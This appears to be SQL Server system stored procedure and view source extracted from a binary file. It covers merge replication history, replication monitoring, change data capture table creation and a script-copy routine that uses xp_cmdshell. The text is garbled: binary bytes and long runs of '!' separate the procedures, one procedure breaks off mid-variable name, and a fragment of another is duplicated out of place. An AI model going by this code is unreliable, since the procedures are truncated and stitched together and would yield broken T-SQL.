        select @total_download_article_cost = isnull(sum(relative_cost),0) from dbo.MSmerge_articlehistory
            where session_id = @session_id and phase_id = 2
        
        update dbo.MSmerge_articlehistory set percent_complete = 100,
            estimated_changes = inserts + updates + deletes,
            relative_cost = 
                case 
                    when phase_id = 1 and @total_upload_article_cost > 0 
                        then (100*relative_cost)/@total_upload_article_cost
                    when phase_id = 2 and @total_download_article_cost > 0
                        then (100*relative_cost)/@total_download_article_cost 
                    else
                        0
                end
        where session_id = @session_id

        -- decrement the agent counter
        -- we only log the perfmon couter on the distributor side (@subit is null)
        if (( @subid is null ) and (@runstatus = @succeed or @runstatus=@retry or @runstatus = @failure ))
        begin
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Merge", -1)
        end
        
    end
    
    if (@comments is not null and @comments <> '') or @log_error = 1
    begin
        select    @existing_row_updateble = 0, @this_row_updateable = 0

        if (@updateable_row = 1)
            select @this_row_updateable = 1

        select top 1 @lastrow_timestamp = timestamp, @existing_row_updateble = updateable_row
        from dbo.MSmerge_history with (rowlock)
        where agent_id = @agent_id order by timestamp desc
        
        select @error_id = 0
        if @log_error = 1
        begin        
            exec sys.sp_MSget_new_errorid @error_id output  -- Ignore errors here. @error_id will be set to 0 in case of errors  
        end

        -- Insert idle record or update if history record is already 'idle'
        IF (@existing_row_updateble = 1) and (@runstatus = @idle or @update_existing_row = 1)
        begin
            -- Attempt to update the last row if it is IDLE
            update dbo.MSmerge_history set comments = @comments, updateable_row = @this_row_updateable,
                error_id = case @error_id when 0 then error_id else @error_id end    
            where agent_id = @agent_id 
            and timestamp = @lastrow_timestamp

            -- Insert idle record if there is not one
            if @@rowcount = 0
                insert into dbo.MSmerge_history(agent_id, comments, error_id, updateable_row, session_id)
                    values (@agent_id, @comments, @error_id, @this_row_updateable, @session_id)
        end
        else
            insert into dbo.MSmerge_history(agent_id, comments, error_id, updateable_row, session_id)
                values(@agent_id, @comments, @error_id, @this_row_updateable, @session_id)
    end

    if @subid is null --distributor side
    begin
        select @agentclassname = formatmessage(14554)
        exec sys.sp_MSrepl_raiserror @agentclassname, @agent_name, @runstatus, @comments
    end
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/	yvY(create procedure sys.sp_replmonitorhelpmergesessiondetail
(
	@session_id	int
)
as
begin
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    declare @upload_time int, @download_time int, @schema_change_time int, @prepare_snapshot_time int, @run_succeeded bit, 
			@start_time datetime,
			@session_duration int, @estimated_upload_changes int, @estimated_download_changes int,
			@init_time int, @upload_percent_cost int, @download_percent_cost int, 
			@schema_change_percent_cost int, 
			@prepare_snapshot_percent_cost int,
			@init_percent_cost int, @bulk_inserts int,
			@upload_percent_complete decimal(10,2), @download_percent_complete decimal(10,2),
			@upload_inserts int, @upload_updates int, @upload_deletes int, @upload_conflicts int, @upload_rows_retried int,
			@download_inserts int, @download_updates int, @download_deletes int, @download_conflicts int, @download_rows_retried int,
			@schema_changes int, @phase_description nvarchar(255)

	set @run_succeeded =0
	
	declare @resulttable TABLE 
		(
		PhaseID int NULL, -- 0 for summary line
		ArticleName sysname NULL, 
		PercentComplete decimal(5,2) NULL,  -- for running or failed session
		RelativeCost decimal(5,2) NULL,  -- for succeeded session
		Duration int NULL,
		Inserts int NULL, 
		Updates int NULL, 
		Deletes int NULL, 
		Conflicts int NULL,
		SchemaChanges int NULL,
		RowsRetried int NULL,
		ErrorID int NULL,
		SeqNo int IDENTITY(1,1),
		RowType int	-- 0 for init, 1 for upload, 2 for upload article, 3 for download, 4 for download article, 5 for schema changes/bcp, 6 for prepare snapshot
		)

	if exists (select * from dbo.MSmerge_sessions where session_id = @session_id)
	begin 

		select @run_succeeded= CASE runstatus WHEN 2 THEN 1 ELSE 0 END,
			@start_time=start_time,
			@session_duration = duration,
			@upload_time = upload_time,
			@download_time = download_time,
			@schema_change_time = schema_change_time,
			@prepare_snapshot_time = prepare_snapshot_time,
			@estimated_upload_changes = estimated_upload_changes,
			@estimated_download_changes = estimated_download_changes,
			
			@upload_inserts = upload_inserts,
			@upload_updates = upload_updates,
			@upload_deletes = upload_deletes,
			@upload_conflicts = upload_conflicts,
			@upload_rows_retried = upload_rows_retried,
			
			@download_inserts = download_inserts,
			@download_updates = download_updates,
			@download_deletes = download_deletes,
			@download_conflicts = download_conflicts,
			@download_rows_retried = download_rows_retried,
			
			@bulk_inserts = bulk_inserts, 
			@schema_changes = schema_changes,
			
			@upload_percent_complete = case when estimated_upload_changes > 0 then 
										(100.0 * cast((upload_deletes + upload_updates + upload_inserts) as float))/
										(cast(estimated_upload_changes as float))
										else 0.0 end,
										
			@download_percent_complete = case when estimated_download_changes > 0 then 
										(100.0 * cast((download_deletes + download_updates + download_inserts) as float))/
										(cast(estimated_download_changes as float))
										else 0.0 end,
										
			@upload_percent_cost = case when duration > 0 then 
										(100.0 * cast(upload_time as float))/(cast(duration as float))
										else 0.0 end,
										
			@download_percent_cost = case when duration > 0 then 
										(100.0 * cast(download_time as float))/(cast(duration as float))
										else 0.0 end,
										
			@schema_change_percent_cost = case when duration > 0 then 
										(100.0 * cast(schema_change_time as float))/(cast(duration as float))
										else 0.0 end,

			@prepare_snapshot_percent_cost = case when duration > 0 then 
										(100.0 * cast(prepare_snapshot_time as float))/(cast(duration as float))
										else 0.0 end,
										
			@init_time = duration - (upload_time + download_time + schema_change_time + prepare_snapshot_time)
			
		from dbo.MSmerge_sessions
		where session_id = @session_id
			
		if @upload_percent_complete < 0.0
			select @upload_percent_complete = 0.0
		else if @upload_percent_complete > 100.0
			select @upload_percent_complete = 100.0
			
		if @download_percent_complete < 0.0
			select @download_percent_complete = 0.0
		else if @download_percent_complete > 100.0
			select @download_percent_complete = 100.0
				
		if @upload_percent_cost < 0.0
			select @upload_percent_cost = 0.0
		else if @upload_percent_cost > 100.0
			select @upload_percent_cost = 100.0
			
		if @download_percent_cost < 0.0
			select @download_percent_cost = 0.0
		else if @download_percent_cost > 100.0
			select @download_percent_cost = 100.0
			
		if @schema_change_percent_cost < 0.0
			select @schema_change_percent_cost = 0.0
		else if @schema_change_percent_cost > 100.0
			select @schema_change_percent_cost = 100.0

		if @prepare_snapshot_percent_cost < 0.0
			select @prepare_snapshot_percent_cost = 0.0
		else if @prepare_snapshot_percent_cost > 100.0
			select @prepare_snapshot_percent_cost = 100.0
			
		if @init_time < 0
			select @init_time = 0
			
		select @init_percent_cost = 100.00 - (@upload_percent_cost + @download_percent_cost + @schema_change_percent_cost + @prepare_snapshot_percent_cost)
		
		select @phase_description = formatmessage(22531)
		--select @phase_description = formatmessage(21587)
		
		insert @resulttable 
			(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
				Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
		values
			(0, @phase_description, NULL, @init_percent_cost, @init_time, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0)

        -- Prepare dynamic snaphsot phase
        if (@prepare_snapshot_percent_cost > 0)
        begin
            -- TODO change to 25016 when checking in sqlerrorcodes.h
            select @phase_description = formatmessage(25016)            
            insert @resulttable 
            	(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
            		Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
            values
            	(0, @phase_description, NULL, @prepare_snapshot_percent_cost, @prepare_snapshot_time, NULL, NULL, 
            		NULL, NULL, NULL, NULL, NULL, 6)
        end

		select @phase_description = formatmessage(25015)
		-- Schema Changes and Bulk Inserts
		insert @resulttable 
			(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
				Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
		values
			(0, @phase_description, NULL, @schema_change_percent_cost, @schema_change_time, @bulk_inserts, NULL, 
				NULL, NULL, @schema_changes, NULL, NULL, 5)

		select @phase_description = formatmessage(22532)
		--select @phase_description = formatmessage(21588)
		-- upload summary line
		insert @resulttable 
			(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
				Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
		values
			(0, @phase_description, @upload_percent_complete, @upload_percent_cost, @upload_time, @upload_inserts, @upload_updates, 
				@upload_deletes, @upload_conflicts, NULL, @upload_rows_retried, NULL, 1)

		-- upload details
		insert @resulttable
			(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
				Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
		select phase_id, article_name, 
			CAST(percent_complete as int), 
			CASE when @run_succeeded = 1 and relative_cost <= 100.00
				then (relative_cost/100.0) * @upload_percent_cost
								ELSE NULL END, 
			CASE when @run_succeeded = 1 and relative_cost <= 100.00
				THEN (relative_cost/100.0) * @upload_tim!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`)1	<0	K/a0: <8CREATE VIEW sys.dm_hadr_internal_database_synchronization_states AS
	SELECT
		*,
		synchronization_state_desc = CASE
			WHEN (synchronization_state = 1) THEN CAST('SYNCHRONIZED' AS nvarchar(60))
			ELSE CAST('NOT_SYNCHRONIZED' AS nvarchar(60)) END
	FROM
		(
		SELECT
			replica_id = wr.ag_replica_id,
			group_database_id = wd.ag_db_id,
			database_name = wd.ag_db_name,
			synchronization_state = CASE
				WHEN (wr.sync_state & 12 <> 0) THEN CAST(1 as tinyint) -- 12 is from 8 (HADR_SYNCHRONIZED_REDO) and 4 (HADR_SYNCHRONIZED_LOG)
				ELSE CAST(0 AS tinyint) END,
			is_pending_secondary_suspend = CASE
				WHEN wr.sync_state = 2 THEN CAST(1 as tinyint) -- HADR_SYNCHRONIZED_SUSPENDED
				ELSE CAST(0 AS tinyint) END,
			is_database_joined = CASE
				WHEN wr.sync_state = 0 THEN CAST(0 as tinyint) -- HADR_SYNCHRONIZED_NOT_JOINED
				ELSE CAST(1 AS tinyint) END
		FROM sys.dm_hadr_internal_wsfc_ag_logical_dbs AS wd
		LEFT OUTER JOIN sys.dm_hadr_internal_wsfc_ag_db_replicas AS wr
			ON wr.ag_db_id = wd.ag_db_id
		) as base
0A: 
8create procedure sys.sp_MSenum_snapshot_sd
(
    @name nvarchar(100),
    @time datetime = NULL
)
as
begin
    set nocount on

    declare @start_time datetime
    declare @time_up datetime
    declare @publisher_id smallint
    declare @publisher_db sysname
    declare @publication sysname

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    IF @time IS NULL
        select @time = GETDATE()
    /* 
    ** If @name is given, get its publisher and subscriber pair
    ** Note: param will be overwritten
    ** If @name is NOT given, use provided param.
    */
    SELECT @publisher_id = pub.publisher_id, @publisher_db = pub.publisher_db, 
        @publication = pub.publication
        from
        MSsnapshot_agents agent, dbo.MSpublications pub
        where 
        name LIKE @name and
        agent.publisher_id = pub.publisher_id and
        agent.publication = pub.publication and
        agent.publisher_db = pub.publisher_db
    
    /*
    ** Minute-approximate @time can be used.
    **
    ** Note: The select only return datetime data with minute precisio
    */
    IF  DATEPART(second, @time) = 0 AND
        DATEPART(millisecond, @time) = 0
    BEGIN
        SELECT @time_up = DATEADD(second, +59, @time)
        SELECT @time_up = DATEADD(millisecond, +999, @time)
    END
    ELSE
        SELECT @time_up = @time
        

    select top 1 @start_time = sh.start_time            
         from MSsnapshot_history sh with (READPAST), MSsnapshot_agents sa
        where
        sa.publisher_id = @publisher_id and
        sa.publisher_db = @publisher_db and
        sa.publication  = @publication and
        sh.agent_id = sa.id and
        sh.time <= @time_up 
        order by sh.timestamp DESC

    select sh.runstatus, 
        'time' = sys.fn_replformatdatetime(sh.time), 
        sh.comments, 
        sh.duration, 
        sh.delivery_rate, 
        sh.delivered_commands,
        sa.name, 
        sh.error_id         
        from MSsnapshot_history sh with (READPAST), MSsnapshot_agents sa
        where
        sa.publisher_id = @publisher_id and
        sa.publisher_db = @publisher_db and
        sa.publication = @publication and 
        sh.agent_id = sa.id and
        sh.start_time = @start_time 
        order by sh.timestamp desc
end
07: d8create procedure sys.sp_cdc_create_change_table
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname,
	@filegroup_name sysname
)	
as
begin
	declare @retcode int
		,@stmt nvarchar(max)
		,@change_table nvarchar(1000)
		,@source_table nvarchar(1000)
		,@column_name sysname
		,@source_object_id int
		,@column_id int 
		,@collation_name sysname
		,@filegroup_clause nvarchar(1000)
		,@column_count int
		,@is_sparse bit = 0
		,@is_column_set bit = 0
		
    set nocount on
    
    set @change_table = N'[cdc].' + quotename(@capture_instance + N'_CT')
    set @source_table = quotename(@source_schema) + N'.' + quotename(@source_name)
    set @source_object_id = object_id(@source_table)
    set @filegroup_clause = N'ON ' + quotename(ISNULL(@filegroup_name,N'default'))
    
   	declare #hcolumns cursor local fast_forward for
		select c.name, c.column_id, c.collation_name
				,c.is_sparse, c.is_column_set
		from [sys].[columns] c inner join #captured_columns i
			on c.name collate database_default = i.column_name collate database_default
		where c.object_id = @source_object_id  
		order by column_id
		
    set @stmt = N'create table ' + @change_table +
		N'(
			[__$start_lsn]		binary(10) not null,				
			[__$end_lsn]		binary(10) null,					
			[__$seqval]			binary(10) not null,				
			[__$operation]		int not null,			
			[__$update_mask]	varbinary(128) null'
						
	open #hcolumns
	fetch #hcolumns into @column_name
			,@column_id
			,@collation_name
			,@is_sparse
			,@is_column_set
			

	set @column_count = 0
	while (@@fetch_status <> -1)
	begin
		set @column_count = @column_count + 1	
		set @stmt = @stmt + N', ' + quotename(@column_name) +  N' ' +
			[sys].[fn_cdc_format_type]( @source_object_id 
				,@column_id) +
			case (isnull(@collation_name,''))
				when N'' then N'' else N' COLLATE ' + @collation_name
			end

		if(@is_sparse = 1)
		begin
			set @stmt = @stmt + N' SPARSE '
		end
		if(@is_column_set = 1)
		begin
			raiserror(22854, 16, -1, @source_table)
			return 1
		end
		
		set @stmt = @stmt + N' null '
					
		--set this bit on source table column to block updatetext/writetext operation, exposed by columnproperty(..,.., 'is_cdctracked')
		EXEC %%ColumnEx(ObjectID = @source_object_id, Name = @column_name).SetCDCTracked(Value = 1)
		fetch #hcolumns into @column_name
			,@column_id
			,@collation_name
			,@is_sparse
			,@is_column_set
	end
	
	close #hcolumns
	deallocate #hcolumns

	if(@column_count > 1019)
	begin
		raiserror(22925, 16, -1, @capture_instance, 1019)
		return 1
	end
	
	set @stmt = @stmt +  N') ' + @filegroup_clause
	
	exec (@stmt)
	if (@@error != 0)
	begin
		return 1
	end
	
    exec sp_MS_marksystemobject @change_table 
    if (@@error != 0)
    begin
        return 1
    end

    return 0
end
alified_name is not null
		        begin
			        select @command = 'create nonclustered index ' + quotename('nc' + @tablename) + ' on ' + @qualified_name + ' (' + QUOTENAME(@rowguidcol) + ', origin_datasource_id)'
					exec (@command)			   
			    end		
		    end
	    end
	    fetch next from cft_tbl_curs into @tablename		      
    end
    close cft_tbl_curs
    deallocate cft_tbl_curs
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`0	/<|1	D(|`0= 8--
-- Name: sp_MSreplcopyscriptfile
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public procedure invoked via RPC. db_owner check
--
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSreplcopyscriptfile
(
    @directory nvarchar(4000),
    @scriptfile nvarchar(4000) 
)
as
begin
    set nocount on

    declare @retcode int
    declare @cmd nvarchar(4000)
    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @cmd = N'if not exist "' + sys.fn_escapecmdshellsymbolsremovequotes(@directory) collate database_default + '" md "' + sys.fn_escapecmdshellsymbolsremovequotes(@directory) collate database_default + '"'
    exec @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    if(@retcode <> 0)
    begin
        raiserror(21330, 16, -1, @cmd)
        return (1)
    end

    -- Copy script to distributor
    select @cmd = N'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@scriptfile) collate database_default + N'" "' + sys.fn_escapecmdshellsymbolsremovequotes(@directory) collate database_default + N'"'
    exec @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    if(@retcode <> 0)
    begin 
        raiserror(21331, 16, -1, @cmd)
        return (1)
    end

    return (0)
end
0=GD 8create procedure sys.sp_MSmerge_upgrade_from_90rtm 
as
begin
   
    declare @count int
    declare @objectid int
    declare @tablename sysname
    declare @rowguidcol sysname
    declare @qualified_name nvarchar(517) 
    declare @command nvarchar(2000)

    -- Upgrade MSmerge_past_partition_mappings index
    select @count = count(*) from sys.index_columns as ic join sys.columns as c 
            on ic.object_id = c.object_id and ic.column_id = c.column_id 
        join sys.indexes as si
            on ic.index_id = si.index_id and ic.object_id = si.object_id 
    where si.name = 'nc2MSmerge_past_partition_mappings'

    if (@count = 1)
    begin
        -- recreate index
        drop index dbo.MSmerge_past_partition_mappings.nc2MSmerge_past_partition_mappings
        create nonclustered index nc2MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (generation, tablenick) include (publication_number, partition_id)        
    end        

    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 return 1           
        end
    end        
    
    if object_id('MSmerge_supportability_settings') is not NULL
    begin
        -- Column agent_xe  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'agent_xe')
        begin
            alter table dbo.MSmerge_supportability_settings add agent_xe varbinary(max)
            if @@error <> 0 return 1           
        end            
        
        -- Column agent_xe_ring_buffer  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'agent_xe_ring_buffer')
        begin
            alter table dbo.MSmerge_supportability_settings add agent_xe_ring_buffer varbinary(max)
            if @@error <> 0 return 1           
        end            

        -- Column sql_xe  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'sql_xe')
        begin
            alter table dbo.MSmerge_supportability_settings add sql_xe varbinary(max)
            if @@error <> 0 return 1           
        end            
    end

    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 return 1           
        end
    end        

    -- Add index to conflict tables
    declare cft_tbl_curs cursor local fast_forward for select conflict_table from dbo.sysmergearticles
    open cft_tbl_curs 
    fetch next from cft_tbl_curs into @tablename
    while (@@fetch_status <> -1)
    begin
	    if not exists (select * from sys.indexes where name = 'nc' + @tablename)
	    begin
		    select @objectid = OBJECT_ID(@tablename)
		    select @rowguidcol = name  from sys.columns where object_id = @objectid and is_rowguidcol = 1
		    if @rowguidcol is not null
		    begin
		        exec sys.sp_MSget_qualified_name @objectid, @qualified_name output
		        if @qualified_name is not null
		        begin
			        select @command = 'create nonclustered index ' + quotename('nc' + @tablename) + ' on ' + @qualified_name + ' (' + QUOTENAME(@rowguidcol) + ', origin_datasource_id)'
					exec (@command)			   
			    end		
		    end
	    end
	    fetch next from cft_tbl_curs into @tablename		      
    end
    close cft_tbl_curs
    deallocate cft_tbl_curs
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u`	<2	[*s0$5 8
create function sys.column_definition
(
	@column_name		sysname, 
	@system_type_id		int, 
	@system_type_name	sysname,
	@max_length			smallint, 
	@precision			tinyint, 
	@scale				tinyint, 
	@collation_name		sysname, 
	@is_nullable		bit, 
	@is_xml_document	bit, 
	@xml_collection_id	int, 
	@is_user_defined	bit, 
	@is_assembly_type	bit,
	@is_fixed_length	bit
)
returns nvarchar(max)
begin
	declare @column_def nvarchar(max)
	-- Set column name and type
	set @column_def = quotename(@column_name) + ' ' + 
		case
		when @is_assembly_type = 1	-- convert assembly to varbinary
			then case when @is_fixed_length = 1 then '[binary]' else '[varbinary]' end + 
			'(' + case when @max_length = -1 then 'max' else convert(nvarchar(10), @max_length) end + ')'
		else   -- what if we we have a user defined type? (like alias)
			sys.generate_type(@system_type_id, @system_type_name, @max_length, @precision, 
						   @scale, @collation_name, @is_xml_document, @xml_collection_id)
		end
	
	-- Handle nullability
	set @column_def = @column_def + case @is_nullable when 1 then ' NULL' else ' NOT NULL' end;

	return @column_def
end
0= D8WhGC.H0A D8nh	.	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`J<3	rPB00 8
--
-- Name:
--		sp_ORAGetTablespaceInfo
--
-- Description:
--		Retrieve table space info for all articles
--
-- Inputs:
--		@publisher			== publisher name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by help article procedures
--		Assumes temp table #ORAtablespaceinfo exists
--

CREATE PROCEDURE sys.sp_ORAGetTablespaceInfo
(
	@publisher			sysname
)
AS
BEGIN
	DECLARE @retcode			int
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname
	DECLARE	@InsColumnList		nvarchar(2000)
	DECLARE	@SelectColumnList	nvarchar(2000)
	DECLARE @pubid				int

	SET NOCOUNT ON
	
	-- Get publisher ID
	SELECT	@pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Set publisher DBMS and version
	SELECT	@publisher_dbms	= 'ORACLE'

	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @publisher_version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Get all article log tables with tablespace info
	SELECT @InsColumnList    = 'article_id, tablespace'
	SELECT @SelectColumnList = '*'
	INSERT INTO #hquery(cmd) VALUES('SELECT	HPT.PUBLISHED_ARTICLEID, UT.TABLESPACE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('FROM USER_TABLES UT, HREPL_PUBLISHEDTABLES HPT ')
	INSERT INTO #hquery(cmd) VALUES('WHERE UT.TABLE_NAME = (''HREPL_ARTICLE'' || TO_CHAR(HPT.PUBLISHED_TABLEID) || ''LOG_'' || TO_CHAR(HPT.PUBLISHED_LOGINSTANCE)) ')
	INSERT INTO #hquery(cmd) VALUES('AND HPT.PUBLISHED_ARTICLEDROPPENDING = 0 AND HPT.PUBLISHED_LOGDROPPENDING = 0 ')

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#ORAtablespaceinfo',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		DROP TABLE #hquery
		
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

	DROP TABLE #hquery
	
	RETURN (@retcode)
END
03 C8create procedure sys.sp_MSenum_logreader
(
    @name nvarchar(100) = '%',
    @show_distdb bit = 0
)
as
begin
    set nocount on

    declare @publisher sysname
    declare @publisher_db sysname
    declare @logreader_agent nvarchar(100)
    declare @status int
    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(255)
    declare @delivery_time int
    declare @delivered_transactions int
    declare @delivered_commands int
    declare @average_commands int
    declare @delivery_rate int
    declare @delivery_latency int
    declare @error_id int
    declare @job_id binary(16)
    declare @local_job bit
    declare @profile_id int
    declare @agent_id int
    declare @last_timestamp binary(8)

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    create table #logreader_agent (name nvarchar(100) NOT NULL, status int NOT NULL,
        publisher sysname NOT NULL, publisher_db sysname NOT NULL,
        start_time nvarchar(24)  NULL, time nvarchar(24)  NULL, duration int  NULL, 
        comments nvarchar(255) NULL, delivery_time int NULL, 
        delivered_transactions int  NULL, delivered_commands int NULL, 
        average_commands int  NULL, delivery_rate int NULL, 
        delivery_latency int NULL, error_id int NULL, job_id binary(16) NULL,
        local_job bit NULL, profile_id int NOT NULL, agent_id int NOT NULL, last_timestamp binary(8) NOT NULL)  
   
    declare hC  CURSOR LOCAL FAST_FORWARD FOR
         select server.srvname, agent.publisher_db, name, 
            local_job, job_id, agent.profile_id, agent.id
            from
            MSlogreader_agents agent, master.dbo.sysservers server
            where 
            name LIKE @name and
            server.srvid = agent.publisher_id
        
        for read only

    OPEN hC
    FETCH hC INTO @publisher, @publisher_db, @logreader_agent, 
        @local_job, @job_id, @profile_id, @agent_id
    WHILE (@@fetch_status <> -1)
        begin

        /* Stuff in the values for no history case */
        select @status = 0, 
            @start_time = NULL,
            @time = NULL, @duration = NULL, @comments = NULL,
            @delivery_time = NULL, @delivered_transactions = NULL,
